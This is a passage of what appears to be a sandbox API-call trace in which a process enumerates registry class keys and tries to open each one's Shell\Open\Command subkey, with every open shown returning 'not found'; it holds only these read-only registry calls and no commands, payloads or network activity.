lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.MXHTMLWriter.6.0") returned 0x0 [0100.979] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.MXHTMLWriter.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.979] SetLastError (dwErrCode=0x2) [0100.979] RegCloseKey (hKey=0x0) returned 0x6 [0100.979] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f5, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.MXNamespaceManager.6.0") returned 0x0 [0100.979] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.MXNamespaceManager.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.979] SetLastError (dwErrCode=0x2) [0100.979] RegCloseKey (hKey=0x0) returned 0x6 [0100.979] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f6, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.MXXMLWriter") returned 0x0 [0100.979] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.MXXMLWriter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.979] SetLastError (dwErrCode=0x2) [0100.979] RegCloseKey (hKey=0x0) returned 0x6 [0100.979] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f7, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.MXXMLWriter.3.0") returned 0x0 [0100.979] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.MXXMLWriter.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.980] SetLastError (dwErrCode=0x2) [0100.980] RegCloseKey (hKey=0x0) returned 0x6 [0100.980] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f8, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.MXXMLWriter.6.0") returned 0x0 [0100.980] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.MXXMLWriter.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.980] SetLastError (dwErrCode=0x2) [0100.980] RegCloseKey (hKey=0x0) returned 0x6 [0100.980] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9f9, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.SAXAttributes") returned 0x0 [0100.980] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.SAXAttributes\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.980] SetLastError (dwErrCode=0x2) [0100.980] RegCloseKey (hKey=0x0) returned 0x6 [0100.980] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9fa, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.SAXAttributes.3.0") returned 0x0 [0100.980] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.SAXAttributes.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.980] SetLastError (dwErrCode=0x2) [0100.980] RegCloseKey (hKey=0x0) returned 0x6 [0100.980] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9fb, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.SAXAttributes.6.0") returned 0x0 [0100.980] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.SAXAttributes.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.980] SetLastError (dwErrCode=0x2) [0100.980] RegCloseKey (hKey=0x0) returned 0x6 [0100.980] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9fc, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.SAXXMLReader") returned 0x0 [0100.980] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.SAXXMLReader\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.980] SetLastError (dwErrCode=0x2) [0100.980] RegCloseKey (hKey=0x0) returned 0x6 [0100.980] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9fd, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.SAXXMLReader.3.0") returned 0x0 [0100.981] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.SAXXMLReader.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.981] SetLastError (dwErrCode=0x2) [0100.981] RegCloseKey (hKey=0x0) returned 0x6 [0100.981] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9fe, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.SAXXMLReader.6.0") returned 0x0 [0100.981] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.SAXXMLReader.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.981] SetLastError (dwErrCode=0x2) [0100.981] RegCloseKey (hKey=0x0) returned 0x6 [0100.981] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x9ff, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.ServerXMLHTTP") returned 0x0 [0100.981] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.ServerXMLHTTP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.981] SetLastError (dwErrCode=0x2) [0100.981] RegCloseKey (hKey=0x0) returned 0x6 [0100.981] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa00, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.ServerXMLHTTP.3.0") returned 0x0 [0100.981] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.ServerXMLHTTP.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.981] SetLastError (dwErrCode=0x2) [0100.981] RegCloseKey (hKey=0x0) returned 0x6 [0100.981] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa01, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.ServerXMLHTTP.6.0") returned 0x0 [0100.981] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.ServerXMLHTTP.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.981] SetLastError (dwErrCode=0x2) [0100.981] RegCloseKey (hKey=0x0) returned 0x6 [0100.981] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa02, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLHTTP") returned 0x0 [0100.981] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLHTTP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.981] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa03, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLHTTP.3.0") returned 0x0 [0100.982] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLHTTP.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.982] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa04, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLHTTP.6.0") returned 0x0 [0100.982] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLHTTP.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.982] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa05, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLParser") returned 0x0 [0100.982] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLParser\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.982] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa06, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLParser.3.0") returned 0x0 [0100.982] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLParser.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.982] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa07, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLSchemaCache") returned 0x0 [0100.982] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLSchemaCache\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.982] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa08, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLSchemaCache.3.0") returned 0x0 [0100.982] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLSchemaCache.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.982] SetLastError (dwErrCode=0x2) [0100.982] RegCloseKey (hKey=0x0) returned 0x6 [0100.982] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa09, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XMLSchemaCache.6.0") returned 0x0 [0100.983] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XMLSchemaCache.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.983] SetLastError (dwErrCode=0x2) [0100.983] RegCloseKey (hKey=0x0) returned 0x6 [0100.983] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0a, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XSLTemplate") returned 0x0 [0100.983] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XSLTemplate\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.983] SetLastError (dwErrCode=0x2) [0100.983] RegCloseKey (hKey=0x0) returned 0x6 [0100.983] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0b, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XSLTemplate.3.0") returned 0x0 [0100.983] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XSLTemplate.3.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.983] SetLastError (dwErrCode=0x2) [0100.983] RegCloseKey (hKey=0x0) returned 0x6 [0100.983] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0c, lpName=0x2eef50, cchName=0x104 | out: lpName="Msxml2.XSLTemplate.6.0") returned 0x0 [0100.983] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Msxml2.XSLTemplate.6.0\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.983] SetLastError (dwErrCode=0x2) [0100.983] RegCloseKey (hKey=0x0) returned 0x6 [0100.983] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0d, lpName=0x2eef50, cchName=0x104 | out: lpName="Mts.MtsGrp") returned 0x0 [0100.983] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Mts.MtsGrp\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.983] SetLastError (dwErrCode=0x2) [0100.983] RegCloseKey (hKey=0x0) returned 0x6 [0100.983] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0e, lpName=0x2eef50, cchName=0x104 | out: lpName="MTSAdmin.Catalog") returned 0x0 [0100.983] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MTSAdmin.Catalog\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.983] SetLastError (dwErrCode=0x2) [0100.984] RegCloseKey (hKey=0x0) returned 0x6 [0100.984] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa0f, lpName=0x2eef50, cchName=0x104 | out: lpName="MTSAdmin.Catalog.1") returned 0x0 [0100.984] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MTSAdmin.Catalog.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.984] SetLastError (dwErrCode=0x2) [0100.984] RegCloseKey (hKey=0x0) returned 0x6 [0100.984] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa10, lpName=0x2eef50, cchName=0x104 | out: lpName="MTxAS.AppServer.1") returned 0x0 [0100.984] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MTxAS.AppServer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.984] SetLastError (dwErrCode=0x2) [0100.984] RegCloseKey (hKey=0x0) returned 0x6 [0100.984] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa11, lpName=0x2eef50, cchName=0x104 | out: lpName="MTxSpm.SharedPropertyGroupManager") returned 0x0 [0100.984] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MTxSpm.SharedPropertyGroupManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.984] SetLastError (dwErrCode=0x2) [0100.984] RegCloseKey (hKey=0x0) returned 0x6 [0100.984] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa12, lpName=0x2eef50, cchName=0x104 | out: lpName="MTxSpm.SharedPropertyGroupManager.1") returned 0x0 [0100.984] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MTxSpm.SharedPropertyGroupManager.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.984] SetLastError (dwErrCode=0x2) [0100.984] RegCloseKey (hKey=0x0) returned 0x6 [0100.984] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa13, lpName=0x2eef50, cchName=0x104 | out: lpName="Name.NameCtrl") returned 0x0 [0100.984] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Name.NameCtrl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.984] SetLastError (dwErrCode=0x2) [0100.984] RegCloseKey (hKey=0x0) returned 0x6 [0100.984] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa14, lpName=0x2eef50, cchName=0x104 | out: lpName="Name.NameCtrl.1") returned 0x0 [0100.985] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Name.NameCtrl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.985] SetLastError (dwErrCode=0x2) [0100.985] RegCloseKey (hKey=0x0) returned 0x6 [0100.985] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa15, lpName=0x2eef50, cchName=0x104 | out: lpName="NameControlServer.NameCtrl") returned 0x0 [0100.985] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NameControlServer.NameCtrl\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.985] SetLastError (dwErrCode=0x2) [0100.985] RegCloseKey (hKey=0x0) returned 0x6 [0100.985] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa16, lpName=0x2eef50, cchName=0x104 | out: lpName="NameControlServer.NameCtrl.1") returned 0x0 [0100.985] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NameControlServer.NameCtrl.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.985] SetLastError (dwErrCode=0x2) [0100.985] RegCloseKey (hKey=0x0) returned 0x6 [0100.985] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa17, lpName=0x2eef50, cchName=0x104 | out: lpName="NameTranslate") returned 0x0 [0100.985] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NameTranslate\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.985] SetLastError (dwErrCode=0x2) [0100.985] RegCloseKey (hKey=0x0) returned 0x6 [0100.985] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa18, lpName=0x2eef50, cchName=0x104 | out: lpName="NbBaseDoc.NbBaseDocEdit") returned 0x0 [0100.985] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbBaseDoc.NbBaseDocEdit\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.985] SetLastError (dwErrCode=0x2) [0100.985] RegCloseKey (hKey=0x0) returned 0x6 [0100.985] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa19, lpName=0x2eef50, cchName=0x104 | out: lpName="NbBaseDoc.NbBaseDocEdit.1") returned 0x0 [0101.147] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbBaseDoc.NbBaseDocEdit.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.147] SetLastError (dwErrCode=0x2) [0101.147] RegCloseKey (hKey=0x0) returned 0x6 [0101.147] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1a, lpName=0x2eef50, cchName=0x104 | out: lpName="Nbdoc.NBDocument") returned 0x0 [0101.147] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Nbdoc.NBDocument\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.147] SetLastError (dwErrCode=0x2) [0101.147] RegCloseKey (hKey=0x0) returned 0x6 [0101.147] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1b, lpName=0x2eef50, cchName=0x104 | out: lpName="Nbdoc.NBDocument.1") returned 0x0 [0101.147] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Nbdoc.NBDocument.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.147] SetLastError (dwErrCode=0x2) [0101.147] RegCloseKey (hKey=0x0) returned 0x6 [0101.147] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1c, lpName=0x2eef50, cchName=0x104 | out: lpName="Nbdoc.Stationery") returned 0x0 [0101.147] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Nbdoc.Stationery\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.147] SetLastError (dwErrCode=0x2) [0101.147] RegCloseKey (hKey=0x0) returned 0x6 [0101.147] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1d, lpName=0x2eef50, cchName=0x104 | out: lpName="Nbdoc.Stationery.1") returned 0x0 [0101.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Nbdoc.Stationery.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.148] SetLastError (dwErrCode=0x2) [0101.148] RegCloseKey (hKey=0x0) returned 0x6 [0101.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1e, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocCstg.NbDocCstg") returned 0x0 [0101.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocCstg.NbDocCstg\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.148] SetLastError (dwErrCode=0x2) [0101.148] RegCloseKey (hKey=0x0) returned 0x6 [0101.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa1f, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocCstg.NbDocCstg.1") returned 0x0 [0101.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocCstg.NbDocCstg.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.148] SetLastError (dwErrCode=0x2) [0101.148] RegCloseKey (hKey=0x0) returned 0x6 [0101.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa20, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocViewer.NbAccessibleObject") returned 0x0 [0101.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocViewer.NbAccessibleObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.148] SetLastError (dwErrCode=0x2) [0101.148] RegCloseKey (hKey=0x0) returned 0x6 [0101.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa21, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocViewer.NbAccessibleObject.1") returned 0x0 [0101.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocViewer.NbAccessibleObject.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.148] SetLastError (dwErrCode=0x2) [0101.148] RegCloseKey (hKey=0x0) returned 0x6 [0101.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa22, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocViewer.NbDocView") returned 0x0 [0101.148] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocViewer.NbDocView\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.148] SetLastError (dwErrCode=0x2) [0101.148] RegCloseKey (hKey=0x0) returned 0x6 [0101.148] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa23, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocViewer.NbDocView.1") returned 0x0 [0101.149] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocViewer.NbDocView.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.149] SetLastError (dwErrCode=0x2) [0101.149] RegCloseKey (hKey=0x0) returned 0x6 [0101.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa24, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocViewer.NbRioEventSink") returned 0x0 [0101.149] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocViewer.NbRioEventSink\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.149] SetLastError (dwErrCode=0x2) [0101.149] RegCloseKey (hKey=0x0) returned 0x6 [0101.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa25, lpName=0x2eef50, cchName=0x104 | out: lpName="NbDocViewer.NbRioEventSink.1") returned 0x0 [0101.149] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbDocViewer.NbRioEventSink.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.149] SetLastError (dwErrCode=0x2) [0101.149] RegCloseKey (hKey=0x0) returned 0x6 [0101.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa26, lpName=0x2eef50, cchName=0x104 | out: lpName="NbImage.NbBitmapLayer") returned 0x0 [0101.149] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbImage.NbBitmapLayer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.149] SetLastError (dwErrCode=0x2) [0101.149] RegCloseKey (hKey=0x0) returned 0x6 [0101.149] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa27, lpName=0x2eef50, cchName=0x104 | out: lpName="NbImage.NbBitmapLayer.1") returned 0x0 [0101.149] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbImage.NbBitmapLayer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.150] SetLastError (dwErrCode=0x2) [0101.150] RegCloseKey (hKey=0x0) returned 0x6 [0101.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa28, lpName=0x2eef50, cchName=0x104 | out: lpName="NbImage.NbCompositeLayer") returned 0x0 [0101.150] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbImage.NbCompositeLayer\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.150] SetLastError (dwErrCode=0x2) [0101.150] RegCloseKey (hKey=0x0) returned 0x6 [0101.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa29, lpName=0x2eef50, cchName=0x104 | out: lpName="NbImage.NbCompositeLayer.1") returned 0x0 [0101.150] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbImage.NbCompositeLayer.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.150] SetLastError (dwErrCode=0x2) [0101.150] RegCloseKey (hKey=0x0) returned 0x6 [0101.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2a, lpName=0x2eef50, cchName=0x104 | out: lpName="NbTextLayout.NbTextLayoutPage") returned 0x0 [0101.150] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbTextLayout.NbTextLayoutPage\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.150] SetLastError (dwErrCode=0x2) [0101.150] RegCloseKey (hKey=0x0) returned 0x6 [0101.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2b, lpName=0x2eef50, cchName=0x104 | out: lpName="NbTextLayout.NbTextLayoutPage.1") returned 0x0 [0101.150] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbTextLayout.NbTextLayoutPage.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.150] SetLastError (dwErrCode=0x2) [0101.150] RegCloseKey (hKey=0x0) returned 0x6 [0101.150] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2c, lpName=0x2eef50, cchName=0x104 | out: lpName="NbTextLayout.NbTextLayoutPageProp") returned 0x0 [0101.150] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="NbTextLayout.NbTextLayoutPageProp\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) 